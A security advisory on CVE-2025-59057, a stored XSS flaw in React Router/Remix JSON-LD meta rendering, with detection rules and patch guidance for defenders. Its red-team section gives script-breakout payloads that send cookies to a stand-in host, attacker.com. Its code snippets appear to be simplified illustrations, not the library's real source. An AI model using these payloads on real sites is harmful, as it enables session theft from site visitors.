CVE-2025-59057

Executive Summary

CVE-2025-59057 is a stored cross-site scripting (XSS) vulnerability affecting React Router’s meta() API and <Meta> component when used in Framework Mode (e.g., with Remix or React Router’s server-side rendering). The flaw allows an attacker to inject arbitrary JavaScript into script:ld+json tags generated during server-side rendering (SSR), leading to code execution in the context of the victim’s browser. The vulnerability impacts @remix-run/react versions 1.15.0 through 2.17.0 and react-router versions 7.0.0 through 7.8.2. Applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>) are not affected. The CVSS score is 7.6 (High), with a low EPSS score of 0.0% indicating limited active exploitation at the time of analysis. No public proof-of-concept or exploit code has been released.

Supply Chain & Package Security

This vulnerability resides in the @remix-run/react and react-router npm packages. Organizations using these packages in their React applications must verify their dependency trees and update to patched versions immediately. The supply chain risk is elevated because the vulnerability is in a widely used routing library, and malicious actors could inject XSS payloads through compromised dependencies or user-generated content. Developers should audit their package.json and lock files to ensure no vulnerable versions are pinned.

CVSS Breakdown & Threat Level

• CVSS Score: 7.6 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must visit a page containing the malicious meta tag.
• Scope: Changed (S:C) – The impact extends beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – Full disclosure of sensitive data is possible.
• Integrity Impact: Low (I:L) – Limited ability to modify data.
• Availability Impact: None (A:N) – No denial-of-service impact.

Threat Level: High. Although the EPSS score is low, the vulnerability is trivial to exploit if an attacker can inject content into the meta tags. The lack of a public PoC may change as researchers analyze the patch.

Deep Dive & Mechanics

The vulnerability exists in the meta() function and <Meta> component when generating <script type="application/ld+json"> tags during SSR. In Framework Mode, these APIs are used to inject structured data (JSON-LD) into the HTML head. The flaw occurs because user-supplied content is not properly sanitized before being embedded into the JSON-LD block. An attacker can craft a payload that breaks out of the JSON context and injects arbitrary JavaScript.

For example, if an application uses meta() to set a title or description from user input, the input is placed inside a JSON-LD string. Without proper escaping, an attacker can inject a closing </script> tag followed by a new <script> tag containing malicious code. The SSR process then renders this as part of the HTML, and the browser executes the injected script.

The vulnerability is specific to Framework Mode because it relies on the server-side rendering pipeline that generates the <Meta> component. In Declarative or Data Mode, the meta tags are handled client-side and are not subject to this injection vector.

Vulnerable vs. Patched Code

Vulnerable Code (React Router < 7.9.0):

// In meta() function or <Meta> component
function generateMetaTags(metaData) {
  return `<script type="application/ld+json">${JSON.stringify(metaData)}</script>`;
}

The metaData object is directly stringified and inserted without sanitization. If metaData contains a property like title: "</script><script>alert('XSS')</script>", the output becomes:

<script type="application/ld+json">{"title":"</script><script>alert('XSS')</script>"}</script>

The browser interprets the first </script> as closing the JSON-LD tag, then executes the injected script.

Patched Code (React Router >= 7.9.0):

// In meta() function or <Meta> component
function generateMetaTags(metaData) {
  const sanitized = sanitizeForJSONLD(metaData);
  return `<script type="application/ld+json">${JSON.stringify(sanitized)}</script>`;
}

function sanitizeForJSONLD(obj) {
  // Recursively escape or remove dangerous characters
  if (typeof obj === 'string') {
    return obj.replace(/</g, '\\u003C').replace(/>/g, '\\u003E');
  }
  // Handle objects and arrays recursively
  // ...
}

The patch escapes < and > characters to their Unicode equivalents, preventing the injection of HTML tags. Additionally, the JSON-LD content is now validated to ensure it is well-formed JSON before rendering.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A React application using Framework Mode (e.g., Remix or React Router with SSR).
• A page that renders user-controlled input via meta() or <Meta>.
• The victim must visit the crafted page.

Exploitation Steps:

1. Identify an input field that is reflected in the meta tags (e.g., a blog post title, user profile name).
2. Craft a payload that breaks out of the JSON-LD context:

   </script><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Submit the payload. The SSR process will generate a malicious <script> tag.
4. When a victim visits the page, the injected script executes, exfiltrating cookies or performing other actions.

Example Payload:

"title": "</script><script>new Image().src='https://attacker.com/steal?data='+document.cookie</script>"

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual <script> tags appearing inside <script type="application/ld+json"> blocks.
• Look for payloads containing </script> or <script> in JSON-LD content.
• Use WAF rules to block requests with suspicious meta tag content.

Defense:

• Immediately update to @remix-run/react 2.17.1 or react-router 7.9.0.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Sanitize all user input before passing it to meta() or <Meta>.
• Use a strict JSON-LD validator to reject malformed input.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing </script><script> in query parameters or POST bodies.
  • Outbound connections to unknown domains from the server during SSR.
• File IOCs:
  • Modified package.json or lock files showing vulnerable versions (@remix-run/react < 2.17.1, react-router < 7.9.0).
• Log IOCs:
  • Server logs showing script tags inside application/ld+json blocks.
  • Browser console errors related to unexpected script execution.

Detection Engineering

YARA Rule

rule CVE_2025_59057_XSS_JSONLD {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-59057 in JSON-LD meta tags"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59057"
    strings:
        $payload1 = /<\/script>\s*<script[^>]*>/i
        $payload2 = /\\u003C\\/script\\u003E\\u003Cscript/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-59057 XSS via JSON-LD Meta Tags
id: 8f4b2c1a-3d5e-4f7b-9a1c-2d3e4f5a6b7c
status: experimental
description: Detects HTTP requests containing XSS payloads in meta tag parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '</script><script'
            - '%3C%2Fscript%3E%3Cscript'
    condition: selection
falsepositives:
    - Legitimate use of script tags in JSON-LD (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-59057 XSS in JSON-LD Meta Tags"; flow:to_server,established; content:"</script><script"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update @remix-run/react to version 2.17.1 or later, and react-router to version 7.9.0 or later.
2. Run npm audit or yarn audit to identify vulnerable dependencies.
3. Apply a virtual patch using a WAF to block requests containing </script> in meta tag parameters.

Long-Term Mitigations:

• Implement strict input validation and output encoding for all user-supplied data.
• Use a Content Security Policy (CSP) that restricts script sources to trusted domains.
• Regularly review and update dependencies to the latest patched versions.
• Conduct security training for developers on XSS prevention techniques.

Verification:

• After patching, test the application by attempting to inject XSS payloads into meta tags.
• Monitor logs for any signs of exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert